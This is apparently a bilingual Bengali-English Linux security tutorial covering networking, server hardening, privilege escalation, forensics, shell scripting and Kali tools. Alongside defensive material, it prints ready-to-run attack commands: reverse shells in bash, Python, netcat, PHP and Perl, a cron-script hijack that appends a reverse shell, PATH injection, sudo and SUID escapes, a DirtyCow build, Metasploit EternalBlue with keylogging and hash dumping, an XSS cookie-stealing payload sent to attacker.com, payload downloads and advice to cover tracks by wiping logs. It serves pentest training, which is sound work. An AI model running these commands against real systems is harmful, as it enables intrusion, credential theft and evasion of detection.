নেটওয়ার্ক Interface কমান্ডNetwork Interface Commands

# Interface দেখা ip addr show # সব interface ও IP ip addr show eth0 # নির্দিষ্ট interface ifconfig # পুরনো কিন্তু এখনো ব্যবহৃত ip link show # Link layer তথ্য # Routing ip route show # Routing table route -n # Routing table (পুরনো) ip route add 10.10.10.0/24 via 192.168.1.1 # Route যোগ # ARP arp -a # ARP cache ip neigh show # আধুনিক ARP দেখা # DNS cat /etc/resolv.conf # DNS server nslookup google.com # DNS lookup dig google.com # বিস্তারিত DNS dig @8.8.8.8 google.com # নির্দিষ্ট DNS server host google.com # সহজ lookup

সংযোগ মনিটরিংConnection Monitoring

# সক্রিয় সংযোগ netstat -tulnp # ⭐ সব listening পোর্ট netstat -an # সব সংযোগ ss -tulnp # আধুনিক netstat ss -tp # TCP সংযোগ lsof -i # Open নেটওয়ার্ক ফাইল lsof -i :80 # পোর্ট ৮০ ব্যবহারকারী lsof -i TCP -n # TCP সংযোগ # ⭐ Pentest: কোন service চলছে? ss -tulnp | grep LISTEN netstat -tulnp 2>/dev/null | grep LISTEN

SSH — বিস্তারিতSSH — In Detail

# Basic SSH ssh [email protected] ssh -p 2222 user@server # কাস্টম পোর্ট ssh -i ~/.ssh/id_rsa user@server # Key দিয়ে login # ⭐ SSH Key তৈরি ও ব্যবহার ssh-keygen -t ed25519 -C "mykey" # Key pair তৈরি ssh-copy-id user@server # Public key পাঠানো cat ~/.ssh/authorized_keys # অনুমোদিত key দেখা # ⭐ SSH Local Port Forwarding (Tunneling) # আমার মেশিনের 8080 → server-এর 80 ssh -L 8080:localhost:80 user@server # এরপর: http://localhost:8080 → server-এর port 80 # ⭐ SSH Remote Port Forwarding # server-এর 9090 → আমার মেশিনের 3389 (RDP bypass firewall) ssh -R 9090:localhost:3389 user@server # ⭐ SSH Dynamic Port Forwarding (SOCKS Proxy) ssh -D 1080 user@server # তারপর browser-এ SOCKS5 proxy: 127.0.0.1:1080 # Proxychains দিয়ে: proxychains nmap -sV 10.10.10.1 # SSH Config (~/.ssh/config) # Host targetserver # HostName 192.168.1.100 # User hacker # IdentityFile ~/.ssh/id_rsa # Port 2222 # তারপর: ssh targetserver

Firewall — iptables

# বর্তমান rules দেখা iptables -L -n -v # সব rules iptables -L INPUT -n # INPUT chain iptables -S # Rules হুবহু # Rules যোগ করা iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH allow iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP allow iptables -A INPUT -s 10.10.10.0/24 -j ACCEPT # IP range allow iptables -A INPUT -j DROP # বাকি সব block # Rules মুছা iptables -D INPUT -p tcp --dport 22 -j ACCEPT iptables -F # সব rules মুছা (সাবধান!) # UFW (Ubuntu Firewall — সহজ) ufw enable ufw allow ssh ufw allow 80/tcp ufw allow from 192.168.1.0/24 ufw deny 23 # Telnet block ufw status verbose ufw reset # সব reset # ⭐ Pentest: Firewall disable করা (root লাগবে) iptables -F && iptables -X # সব rules মুছা ufw disable

Netcat — Swiss Army Knife

# Listen করা nc -lvp 4444 # পোর্ট 4444-এ listen nc -lvnp 4444 # n=no DNS, v=verbose # Connect করা nc 192.168.1.100 4444 # Connect nc -zv 192.168.1.100 80 # Port check nc -zv 192.168.1.100 1-1000 # Port scan # ⭐ Reverse Shell # Attacker (listen করো): nc -lvnp 4444 # Victim (এটা চালাও): bash -i >& /dev/tcp/192.168.1.10/4444 0>&1 nc -e /bin/bash 192.168.1.10 4444 # ⭐ Bind Shell # Victim (listen করো): nc -lvnp 4444 -e /bin/bash # Attacker (connect করো): nc 192.168.1.100 4444 # File Transfer # Receiver: nc -lvnp 4444 > received.txt # Sender: nc 192.168.1.10 4444 < file.txt

অন্যান্য গুরুত্বপূর্ণ নেটওয়ার্ক কমান্ড

ping -c 4 google.com # ICMP ping traceroute google.com # পথ দেখা mtr google.com # Continuous traceroute tcpdump -i eth0 port 80 # Packet capture tcpdump -i eth0 -w capture.pcap # ফাইলে সেভ tcpdump -r capture.pcap # ফাইল পড়া whois google.com # Domain তথ্য
CHAPTER 08
🛡️ Linux সিকিউরিটি হার্ডেনিং🛡️ Linux Security Hardening
সার্ভার সুরক্ষিত করার সম্পূর্ণ গাইডComplete guide to securing your server

SSH হার্ডেনিং — সবচেয়ে গুরুত্বপূর্ণ

# /etc/ssh/sshd_config পরিবর্তন করো: Port 2222 # Default 22 পরিবর্তন PermitRootLogin no # Root login বন্ধ PasswordAuthentication no # পাসওয়ার্ড login বন্ধ PubkeyAuthentication yes # Key-based login MaxAuthTries 3 # ৩বার ব্যর্থ হলে disconnect LoginGraceTime 20 # ২০ সেকেন্ডে login শেষ করতে হবে AllowUsers saimum # শুধু নির্দিষ্ট user Protocol 2 # SSH v2 only X11Forwarding no # GUI forwarding বন্ধ ClientAliveInterval 300 # ৫ মিনিট idle → disconnect # SSH পুনরায় চালু systemctl restart sshd

Fail2Ban — Brute Force সুরক্ষাFail2Ban — Brute Force Protection

# Install apt install fail2ban # /etc/fail2ban/jail.local [DEFAULT] bantime = 3600 # ১ ঘণ্টা ban findtime = 600 # ১০ মিনিটে maxretry = 5 # ৫বার ব্যর্থ হলে [sshd] enabled = true port = 2222 filter = sshd # Status দেখা fail2ban-client status fail2ban-client status sshd fail2ban-client unban 192.168.1.100 # IP unban

User Account সুরক্ষা

# শক্তিশালী পাসওয়ার্ড নীতি (PAM) apt install libpam-cracklib # /etc/pam.d/common-password-এ: password required pam_cracklib.so retry=3 minlen=12 dcredit=-1 ucredit=-1 ocredit=-1 lcredit=-1 # Account lockout # /etc/pam.d/common-auth-এ: auth required pam_faillock.so preauth silent deny=5 unlock_time=900 # অব্যবহৃত user lock usermod -L daemon usermod -L nobody passwd -l username # password lock # /etc/login.defs পরিবর্তন PASS_MAX_DAYS 90 # পাসওয়ার্ড ৯০ দিনে expire PASS_MIN_DAYS 7 # ৭ দিনের আগে পরিবর্তন নয় PASS_WARN_AGE 14 # ১৪ দিন আগে সতর্কতা

সিস্টেম হার্ডেনিং

# /etc/sysctl.conf — Kernel Parameters net.ipv4.ip_forward = 0 # Packet forwarding বন্ধ net.ipv4.conf.all.accept_redirects=0 # ICMP redirect বন্ধ net.ipv4.conf.all.send_redirects=0 net.ipv4.tcp_syncookies = 1 # SYN Flood সুরক্ষা net.ipv4.conf.all.rp_filter = 1 # Spoofed packet বন্ধ kernel.randomize_va_space = 2 # ASLR চালু kernel.dmesg_restrict = 1 # Kernel log সীমিত sysctl -p # পরিবর্তন apply # Unnecessary service বন্ধ systemctl disable telnet systemctl disable ftp systemctl disable rsh systemctl disable rlogin # Package আপডেট apt update && apt upgrade -y apt install unattended-upgrades

Audit — কে কী করছে?

# auditd install ও setup apt install auditd # Rule যোগ করা auditctl -w /etc/passwd -p wa -k passwd_changes auditctl -w /etc/shadow -p wa -k shadow_changes auditctl -w /etc/sudoers -p wa -k sudoers_changes auditctl -w /bin/su -p x -k su_use # Log দেখা ausearch -k passwd_changes aureport --auth # Authentication report aureport --failed # ব্যর্থ ইভেন্ট # AIDE — File Integrity MonitoringFile Integrity Monitoring apt install aide aide --init aide --check # পরিবর্তন হয়েছে কিনা চেক

AppArmor ও SELinuxAppArmor & SELinux — Mandatory Access Control

# AppArmor (Ubuntu/Debian) aa-status # Status দেখা aa-enforce /etc/apparmor.d/apache2 # Profile enforce aa-complain /etc/apparmor.d/nginx # Log only mode # SELinux (RHEL/CentOS/Fedora) getenforce # Enforcing/Permissive/Disabled setenforce 1 # Enforce mode sestatus # বিস্তারিত status
CHAPTER 09
⬆️ Linux Privilege Escalation⬆️ Linux Privilege Escalation
Normal user থেকে root — সব পদ্ধতি বিস্তারিতFrom normal user to root — all methods in detail

Privilege Escalation কী?What is Privilege Escalation?

Privilege Escalation মানে কম সুবিধার account থেকে বেশি সুবিধার account (বিশেষত root) পাওয়া। CTF ও Real-world Pentest-এ এটি সবচেয়ে গুরুত্বপূর্ণ পদক্ষেপ।

💡 Privilege Escalation এর ধাপ
১. Enumeration (তথ্য সংগ্রহ) → ২. দুর্বলতা চিহ্নিত → ৩. Exploit → ৪. Root shell

১. Enumeration — প্রথম পদক্ষেপ

# System তথ্য uname -a # Kernel version cat /etc/os-release # OS version hostname # Hostname # User তথ্য id # বর্তমান UID, GID whoami # username sudo -l # ⭐ sudo অনুমতি cat /etc/passwd # সব user cat /etc/shadow 2>/dev/null # shadow (read করা যায়?) cat /etc/group # Groups # SUID/SGID find / -perm -4000 -type f 2>/dev/null # ⭐ SUID ফাইল find / -perm -2000 -type f 2>/dev/null # SGID ফাইল # Writable ফাইল/ডিরেক্টরি find / -writable -type f 2>/dev/null | grep -v proc find / -writable -type d 2>/dev/null # Cron jobs cat /etc/crontab ls -la /etc/cron* crontab -l cat /var/spool/cron/crontabs/root 2>/dev/null # Network netstat -tulnp 2>/dev/null ss -tulnp ip addr # Password খোঁজা find / -name "*.conf" -exec grep -i "password\|passwd\|secret" {} \; 2>/dev/null find / -name "*.php" -exec grep -i "DB_PASSWORD\|password" {} \; 2>/dev/null cat ~/.bash_history | grep -i "password\|passwd"

২. Sudo Privilege Escalation

# sudo -l এর output বিশ্লেষণ sudo -l User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim # GTFOBins দেখে exploit করো sudo vim -c ':!/bin/bash' # vim দিয়ে shell sudo python3 -c 'import os; os.system("/bin/bash")' sudo find . -exec /bin/bash \; -quit sudo awk 'BEGIN {system("/bin/bash")}' sudo less /etc/passwd # তারপর !bash sudo nano # তারপর Ctrl+R Ctrl+X → bash sudo zip /tmp/test.zip /etc/passwd -T --unzip-command "bash -p"

৩. SUID Exploitation

# SUID ফাইল পাওয়া find / -perm -4000 -type f 2>/dev/null # সাধারণ SUID Exploit (GTFOBins থেকে) # nmap SUID (পুরনো) nmap --interactive nmap> !sh # python SUID python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' # bash SUID bash -p # -p মানে privileged mode # cp SUID — /etc/shadow copy করা cp /etc/shadow /tmp/shadow_copy # তুমি কাস্টম binary পেলে strings দিয়ে বিশ্লেষণ: strings /usr/local/bin/custom_suid # যদি system() বা PATH ব্যবহার করে → PATH Injection!

৪. PATH Injection

# SUID binary যদি full path ছাড়া command ডাকে: strings /usr/local/suid_binary service apache2 start # full path নেই! # নকল 'service' তৈরি করো: echo '#!/bin/bash' > /tmp/service echo '/bin/bash -p' >> /tmp/service chmod +x /tmp/service # PATH-এর শুরুতে /tmp যোগ করো: export PATH=/tmp:$PATH # এখন binary চালাও → নকল service চলবে → root shell! /usr/local/suid_binary

৫. Cron Job HijackingCron Job Hijacking

# root-এর cron script খুঁজে পেলাম: cat /etc/crontab * * * * * root /usr/local/bin/backup.sh # script কি writable? ls -la /usr/local/bin/backup.sh -rwxrwxrwx 1 root root backup.sh # ← সবাই লিখতে পারে! # Reverse shell যোগ করো: echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" >> /usr/local/bin/backup.sh # অথবা /bin/bash কে SUID করো: echo "chmod u+s /bin/bash" >> /usr/local/bin/backup.sh # পরের মিনিটে: bash -p # root shell!

৬. Kernel Exploit

# Kernel version দেখা uname -r 4.4.0-116-generic # বিখ্যাত Kernel Exploit # DirtyCow (CVE-2016-5195) → Kernel 2.x - 4.x # DirtyPipe (CVE-2022-0847) → Kernel 5.8 - 5.16 # RDS (CVE-2010-3904) → Kernel < 2.6.36 # Exploit-DB থেকে খোঁজো: searchsploit linux kernel 4.4.0 privilege escalation searchsploit -m 40839 # DirtyCow download gcc -pthread dirty.c -o dirty -lcrypt ./dirty newpassword # root পাসওয়ার্ড পরিবর্তন

৭. Automated Enumeration Tools

# ⭐ LinPEAS — সবচেয়ে জনপ্রিয় curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # অথবা transfer করে: wget http://attacker.com/linpeas.sh bash linpeas.sh | tee linpeas_output.txt # LinEnum bash linenum.sh -t # Thorough scan # linux-smart-enumeration bash lse.sh -l 2 # Level 2 scan # সব চেক করার কমান্ড (manual): id; whoami; uname -a; cat /etc/os-release; sudo -l; find / -perm -4000 2>/dev/null; cat /etc/crontab; ls /etc/cron.d/; cat ~/.bash_history; find / -name "*.conf" 2>/dev/null | head;
✅ GTFOBins — হ্যাকারের সেরা বন্ধু
gtfobins.github.io — এই ওয়েবসাইটে সব Unix binary-এর (vim, python, perl, ruby, find, awk, etc.) দিয়ে shell/sudo/SUID exploit পাওয়া যায়। Pentest-এ সবার আগে এখানে চেক করো।
CHAPTER 10
🔍 Log ব্যবস্থাপনা ও Linux Forensics🔍 Log Management & Linux Forensics
আক্রান্ত সিস্টেম বিশ্লেষণ ও Incident ResponseCompromised System Analysis & Incident Response

গুরুত্বপূর্ণ Log ফাইল

# Authentication log tail -f /var/log/auth.log # Real-time grep "Failed password" /var/log/auth.log | tail -20 grep "Accepted password" /var/log/auth.log grep "sudo" /var/log/auth.log # System log tail -100 /var/log/syslog journalctl -xe # systemd log journalctl -u sshd --since "1 hour ago" journalctl --since "2024-01-01 00:00" --until "2024-01-02 00:00" # Web server log tail -f /var/log/apache2/access.log tail -f /var/log/nginx/access.log # Login history last # সফল login history lastb # ব্যর্থ login (root লাগতে পারে) lastlog # সব user-এর শেষ login who # বর্তমানে login করা user # Log বিশ্লেষণ # Top 10 IP by request: awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -10 # 404 error count by IP: awk '$9=="404" {print $1}' access.log | sort | uniq -c | sort -rn # Brute force detect: grep "Failed password" auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

Incident Response — আক্রান্ত সিস্টেমে কী করবে?

# ১. কে login আছে? who w last | head -20 # ২. অস্বাভাবিক প্রসেস ps aux --sort=-%cpu | head -20 ps aux --sort=-%mem | head -20 ps aux | grep -E "(nc|netcat|bash -i|python -c)" # ৩. নেটওয়ার্ক সংযোগ netstat -tulnp ss -tulnp lsof -i TCP -n | grep ESTABLISHED # ৪. সাম্প্রতিক পরিবর্তিত ফাইল find / -mtime -1 -type f 2>/dev/null | grep -v "/proc\|/sys" find /var/www -mtime -7 -name "*.php" 2>/dev/null # ৫. Cron job চেক crontab -l -u root cat /etc/crontab ls -la /etc/cron* # ৬. Startup script চেক ls -la /etc/init.d/ systemctl list-units --type=service ls -la /etc/rc*.d/ # ৭. SUID file চেক find / -perm -4000 -type f 2>/dev/null > /tmp/suid_check.txt diff /tmp/suid_check.txt /tmp/suid_baseline.txt # নতুন SUID? # ৮. Hidden ফাইল/ডিরেক্টরি find / -name ".*" -type f 2>/dev/null | grep -v ".cache\|.config" ls -la /tmp/ /var/tmp/ /dev/shm/ # ৯. User account চেক awk -F: '$3 == 0 {print $1}' /etc/passwd # UID 0 user awk -F: 'length($2) > 0 && $2 != "x" {print $1}' /etc/passwd # Direct hash # ১০. SSH authorized keys cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys find / -name "authorized_keys" 2>/dev/null

Webshell খোঁজা

# সন্দেহজনক PHP ফাইল খোঁজা find /var/www -name "*.php" -type f -mtime -7 grep -r "eval\|base64_decode\|system\|exec\|passthru\|shell_exec\|popen" /var/www/ --include="*.php" grep -r "\$_GET\|\$_POST\|\$_REQUEST" /var/www/ --include="*.php" | grep -i "eval\|system" # Yara দিয়ে webshell scan yara webshell_rules.yar /var/www/ # Base64 encoded code grep -r "base64_decode" /var/www/ --include="*.php"

Memory ও Disk Forensics

# Memory dump apt install lime-forensics insmod lime.ko "path=/tmp/memory.lime format=lime" # Volatility দিয়ে memory বিশ্লেষণ volatility -f memory.lime --profile=Linux imageinfo volatility -f memory.lime --profile=LinuxUbuntu pstree volatility -f memory.lime --profile=LinuxUbuntu linux_netstat # Disk Image তৈরি dd if=/dev/sda of=/external/disk.img bs=4096 # Autopsy দিয়ে বিশ্লেষণ autopsy # GUI tool # File Carving — মুছে যাওয়া ফাইল পুনরুদ্ধার photorec disk.img # Image/Video recover foremost -i disk.img -o /output/ # File carving scalpel disk.img -o /output/ # Advanced carving # Metadata বিশ্লেষণ exiftool suspicious_file.jpg # Image metadata strings malware.bin | head -50 # Printable strings xxd malware.bin | head -20 # Hex dump file malware.bin # ফাইল ধরন
CHAPTER 11
📜 Shell Scripting for Security📜 Shell Scripting for Security
Automation, Reverse Shell ও Security ScriptsAutomation, Reverse Shell & Security Scripts

Bash Scripting মূল ধারণা

#!/bin/bash # Shebang — bash দিয়ে চালাও # Variable name="saimum" age=20 echo "নাম: $name, বয়স: $age" # User input read -p "IP address: " ip echo "স্ক্যান করছি: $ip" # Condition if [ -f "/etc/shadow" ]; then echo "shadow file exists" elif [ -d "/var/www" ]; then echo "web server আছে" else echo "কিছুই নেই" fi # Loop for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i UP" done # While loop while true; do nc -lvnp 4444 sleep 5 done # Function scan_host() { echo "Scanning: $1" nmap -sV $1 } scan_host 192.168.1.1

Security Automation ScriptsSecurity Automation Scripts

Host Discovery Script

#!/bin/bash # Network-এর সব active host খোঁজা NETWORK="192.168.1" echo "[*] Scanning $NETWORK.0/24..." for i in $(seq 1 254); do { ping -c 1 -W 1 $NETWORK.$i &>/dev/null if [ $? -eq 0 ]; then hostname=$(nslookup $NETWORK.$i 2>/dev/null | awk '/name = / {print $4}') echo "[+] $NETWORK.$i UP - $hostname" fi } & done wait echo "[*] Scan complete"

Log Monitoring Script

#!/bin/bash # SSH Brute Force detect করা LOGFILE="/var/log/auth.log" THRESHOLD=10 echo "[*] Brute Force Detection চলছে..." grep "Failed password" $LOGFILE | \ awk '{print $(NF-3)}' | \ sort | uniq -c | sort -rn | \ while read count ip; do if [ $count -gt $THRESHOLD ]; then echo "[!] ALERT: $ip থেকে $count ব্যর্থ login!" echo "[*] Blocking $ip..." iptables -A INPUT -s $ip -j DROP fi done

Privilege Escalation Check Script

#!/bin/bash echo "=== Privilege Escalation Check ===" echo "[*] Current User:" id; whoami echo "[*] Sudo Permissions:" sudo -l 2>/dev/null echo "[*] SUID Files:" find / -perm -4000 -type f 2>/dev/null echo "[*] Writable /etc files:" find /etc -writable -type f 2>/dev/null echo "[*] Cron Jobs:" cat /etc/crontab 2>/dev/null ls /etc/cron.d/ 2>/dev/null echo "[*] Interesting files:" find / -name "*.conf" -exec grep -li "password" {} \; 2>/dev/null | head -10

Reverse Shell — সব পদ্ধতি

# ⭐ Bash Reverse Shell bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 # Python Reverse Shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' # Netcat Reverse Shell nc -e /bin/bash 10.10.14.1 4444 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.1 4444 >/tmp/f # PHP Reverse Shell php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/bash -i <&3 >&3 2>&3");' # Perl Reverse Shell perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' # ⭐ Shell Upgrade (fully interactive) # Attacker-এ: nc -lvnp 4444 # Reverse shell পাওয়ার পর: python3 -c 'import pty;pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg # Enter দুইবার export TERM=xterm
CHAPTER 12
🗡️ Kali Linux — সম্পূর্ণ টুল গাইড🗡️ Kali Linux — Complete Tools Guide
Reconnaissance থেকে Post-Exploitation — সব টুলFrom Reconnaissance to Post-Exploitation — All Tools

Phase 1: Reconnaissance (তথ্য সংগ্রহ)

# Passive Recon whois target.com # Domain info dig target.com ANY # DNS records dnsenum target.com # DNS enumeration dnsrecon -d target.com # Detailed DNS theHarvester -d target.com -b all # Email, subdomain subfinder -d target.com # Subdomain discovery amass enum -d target.com # Asset discovery fierce --domain target.com # DNS brute force # OSINT recon-ng # OSINT framework maltego # Link analysis (GUI) shodan search "apache city:Dhaka" # IoT search

Phase 2: Scanning

# Nmap — সবচেয়ে গুরুত্বপূর্ণ nmap -sn 192.168.1.0/24 # Host discovery nmap -sS -p- target.com # Stealth full scan nmap -sV -sC target.com # Service + Default scripts nmap -A -T4 target.com # Aggressive scan nmap -sU target.com # UDP scan nmap --script vuln target.com # Vulnerability scan nmap --script=smb-vuln* target.com # SMB vulnerabilities nmap -oN result.txt target.com # Output to file # Vulnerability Scanners nikto -h http://target.com # Web server scan nuclei -u https://target.com # Template-based scan openvas # Full vulnerability scanner # Directory Brute Force gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dirb http://target.com feroxbuster -u http://target.com -w wordlist.txt # Subdomain Brute Force gobuster dns -d target.com -w subdomains.txt

Phase 3: Exploitation

Metasploit Framework — সবচেয়ে গুরুত্বপূর্ণ

# Metasploit শুরু msfdb init # Database setup msfconsole # Metasploit শুরু # মৌলিক কমান্ড help # সাহায্য search eternalblue # Exploit খোঁজা use exploit/windows/smb/ms17_010_eternalblue # Module নির্বাচন info # Module তথ্য show options # Configure করতে হবে কী কী set RHOSTS 192.168.1.100 # Target IP set LHOST 192.168.1.50 # আমার IP set LPORT 4444 # আমার পোর্ট set payload windows/x64/meterpreter/reverse_tcp show payloads # সব payload run # চালাও! exploit # একই কাজ # Meterpreter — post-exploitation shell sysinfo # সিস্টেম তথ্য getuid # বর্তমান user getsystem # Privilege escalation চেষ্টা hashdump # Password hashes বের করো shell # System shell upload file.txt /tmp/ # ফাইল upload download /etc/passwd ./ # ফাইল download screenshot # Screenshot keyscan_start # Keylogger run post/multi/recon/local_exploit_suggester # PrivEsc suggestion background # Session background sessions -l # সব session sessions -i 1 # Session 1-এ ফিরে যাও

Phase 4: Web Application TestingWeb Application Testing

# Burp Suite (GUI) — সবচেয়ে গুরুত্বপূর্ণ burpsuite & # Background-এ চালু # Browser proxy: 127.0.0.1:8080 # SQLmap — SQL Injection sqlmap -u "http://target.com/page?id=1" sqlmap -u "http://target.com/page?id=1" --dbs # Database list sqlmap -u "http://target.com/page?id=1" -D testdb --tables sqlmap -u "http://target.com/page?id=1" -D testdb -T users --dump sqlmap -r request.txt # Burp request থেকে sqlmap -u "..." --os-shell # OS shell পাওয়া # XSS Testing # Payload: <script>alert('XSS')</script> <img src=x onerror=alert(document.cookie)> <script>document.location='http://attacker.com/steal?c='+document.cookie</script> # OWASP ZAP — Automated scanner zaproxy &

Phase 5: Password Attacks

# Hydra — Online Brute Force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 hydra -L users.txt -P passwords.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" hydra -l admin -P rockyou.txt ftp://192.168.1.100 hydra -l user -P rockyou.txt rdp://192.168.1.100 # John the Ripper john hash.txt # Auto detect john --wordlist=rockyou.txt hash.txt # Dictionary john --rules hash.txt # Rules apply john --show hash.txt # Cracked password দেখা unshadow /etc/passwd /etc/shadow > crack.txt && john crack.txt # Hashcat — GPU-based hashcat -m 0 hash.txt rockyou.txt # MD5 hashcat -m 1000 hash.txt rockyou.txt # NTLM (Windows) hashcat -m 1800 hash.txt rockyou.txt # SHA-512 (Linux) hashcat -m 22000 handshake.hc22000 rockyou.txt # WPA2 hashcat -a 3 hash.txt ?a?a?a?a?a?a # Brute force mask # Wordlist ls /usr/share/wordlists/ gunzip /usr/share/wordlists/rockyou.txt.gz # Decompress crunch 8 10 abc123 -o wordlist.txt # Custom wordlist

Phase 6: Wireless Attacks

# Monitor Mode চালু airmon-ng check kill # Conflicting process বন্ধ airmon-ng start wlan0 # Monitor mode iwconfig wlan0mon # Confirm # WiFi স্ক্যান airodump-ng wlan0mon # সব নেটওয়ার্ক দেখা airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Target # Deauth Attack + Handshake Capture aireplay-ng --deauth 100 -a [BSSID] wlan0mon # Deauth # Handshake capture হলে airodump-ng-তে দেখাবে # WPA2 Crack aircrack-ng -w rockyou.txt capture.cap hashcat -m 22000 capture.hc22000 rockyou.txt # Monitor Mode বন্ধ airmon-ng stop wlan0mon

গুরুত্বপূর্ণ Wordlist ও Payload

ফাইল/টুলঅবস্থানব্যবহার
rockyou.txt/usr/share/wordlists/rockyou.txt.gzপাসওয়ার্ড ক্র্যাক
dirbuster wordlist/usr/share/wordlists/dirbuster/Directory brute force
SecLists/usr/share/seclists/ (ইনস্টল করতে হবে)সব ধরনের wordlist
webshells/usr/share/webshells/PHP/ASP webshell
nmap scripts/usr/share/nmap/scripts/NSE scripts
Metasploit modules/usr/share/metasploit-framework/modules/Exploit modules

File Transfer — Victim থেকে/আমার কাছে

# Python HTTP Server (Attacker-এ) python3 -m http.server 8080 # Victim-এ download: wget http://attacker.com:8080/linpeas.sh curl http://attacker.com:8080/shell.php -o /var/www/html/shell.php # SCP (SSH Copy) scp user@victim:/etc/passwd ./ # Victim থেকে ডাউনলোড scp ./shell.php user@victim:/tmp/ # Victim-এ upload # Base64 দিয়ে Transfer (Firewall bypass) # Attacker: base64 linpeas.sh # Encode করো # Victim: echo "BASE64DATA..." | base64 -d > linpeas.sh && bash linpeas.sh

🎯 সারসংক্ষেপ — Pentest Methodology

  • ✅ Reconnaissance → Nmap, theHarvester, subfinder
  • ✅ Scanning → Nikto, Nmap scripts, Gobuster
  • ✅ Exploitation → Metasploit, SQLmap, Manual
  • ✅ Post-Exploitation → Meterpreter, LinPEAS
  • ✅ Privilege Escalation → sudo -l, SUID, Cron
  • ✅ Persistence → Cron, Systemd service, Authorized keys
  • ✅ Covering Tracks → Log মুছা, History পরিষ্কার
🚀 পরবর্তী পদক্ষেপ
TryHackMe — "Jr Penetration Tester" Path দিয়ে শুরু করো। তারপর HackTheBox-এ Easy Linux machine থেকে শুরু করো। সব কিছু Linux-এ হাতে-কলমে প্র্যাকটিস করতে হবে — শুধু পড়লে হবে না।

🐧 "In the world of Linux, the terminal is your superpower."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে।This document is entirely for educational purposes.

সব সময় authorized environment-এ প্র্যাকটিস করো।Always practice in an authorized environment.

CHAPTER 13
🗺️ সাইবার সিকিউরিটি RoadmapCybersecurity Learning Roadmap
শূন্য থেকে Professional হওয়ার সম্পূর্ণ পথComplete path from zero to professional
💡 কীভাবে পড়বে এই Roadmap?How to read this roadmap?
নিচের প্রতিটি Phase ক্রমানুসারে সম্পন্ন করো। প্রতিটি Phase শেষ করতে গড়ে ১-৩ মাস লাগবে। Complete each phase below in order. Each phase takes approximately 1-3 months on average.
1
🐧 Phase 1 — Linux ও Networking ভিত্তিPhase 1 — Linux & Networking Fundamentals 1-2 মাস / 1-2 months
সাইবার সিকিউরিটির ভিত্তি। এখানে দুর্বলতা থাকলে বাকি সব কঠিন হয়।The foundation of cybersecurity. Without this base, everything else becomes harder.
Linux Basic Commands File System & Permissions Bash Scripting TCP/IP Model DNS, HTTP, SSH Wireshark Basics
2
🔐 Phase 2 — সিকিউরিটি মূল ধারণাPhase 2 — Core Security Concepts 1-2 মাস / 1-2 months
কীভাবে সিস্টেম secure করতে হয় এবং কোথায় দুর্বলতা থাকে।How to secure systems and where vulnerabilities exist.
Cryptography Basics User & Access Control Firewall & iptables Log Analysis SSH Hardening CVE & Vulnerability Basics
3
🗡️ Phase 3 — Ethical Hacking শুরুPhase 3 — Start Ethical Hacking 2-3 মাস / 2-3 months
Attacker-এর মতো চিন্তা করতে শেখো। Kali Linux দিয়ে হাতে-কলমে।Learn to think like an attacker. Hands-on with Kali Linux.
Kali Linux Setup Nmap & Scanning Metasploit Framework Web Hacking Basics SQLi & XSS Password Attacks TryHackMe — Easy Rooms
4
⬆️ Phase 4 — Advanced TechniquesPhase 4 — Advanced Techniques 2-4 মাস / 2-4 months
Privilege Escalation, Forensics, Scripting — পেশাদার স্তরে।Privilege Escalation, Forensics, Scripting — at a professional level.
Linux PrivEsc Windows PrivEsc Active Directory Digital Forensics Python Scripting HackTheBox — Easy
5
🏆 Phase 5 — Certification ও CareerPhase 5 — Certifications & Career চলমান / Ongoing
Certification নিয়ে professional career শুরু করো।Start your professional career with certifications.
eJPT (শুরু করার জন্য) CompTIA Security+ CEH OSCP (লক্ষ্য) Bug Bounty CTF Competitions

🌐 Platform ও সম্পদPlatforms & Resources

Platform ধরনType কার জন্যFor Whom খরচCost
TryHackMeGuided Learningএকদম নতুনদের জন্যComplete beginnersFree + Premium
HackTheBoxCTF / Labsমাঝারি ও এগিয়ে যাওয়াIntermediate & advancedFree + VIP
PortSwigger Web AcademyWeb HackingWeb security শিখতেFor web securityFree
PicoCTFCTFশিক্ষার্থীদের জন্যFor studentsFree
VulnHubVMsOffline practiceOffline practiceFree
OWASPWeb StandardWeb security referenceWeb security referenceFree
Exploit-DBExploit DBCVE ও exploit খোঁজাFind CVEs and exploitsFree
GTFOBinsPrivEsc ReferenceLinux PrivEscLinux PrivEscFree

🗺️ মনে রাখোRemember

  • Phase 1 ছাড়া Phase 3-এ যাওয়া মানে ভিত্তি ছাড়া ঘর বানানোGoing to Phase 3 without Phase 1 is like building a house without foundation
  • প্রতিদিন কমপক্ষে ১ ঘণ্টা হাতে-কলমে practice করোPractice hands-on at least 1 hour every day
  • শুধু পড়লে হবে না — terminal খোলো, কমান্ড চালাওJust reading won't work — open the terminal, run commands
  • Write-up পড়ো এবং নিজেই write-up লেখোRead write-ups and write your own
CHAPTER 14
📋 Quick Cheat Sheet — দ্রুত রেফারেন্সQuick Cheat Sheet — Fast Reference
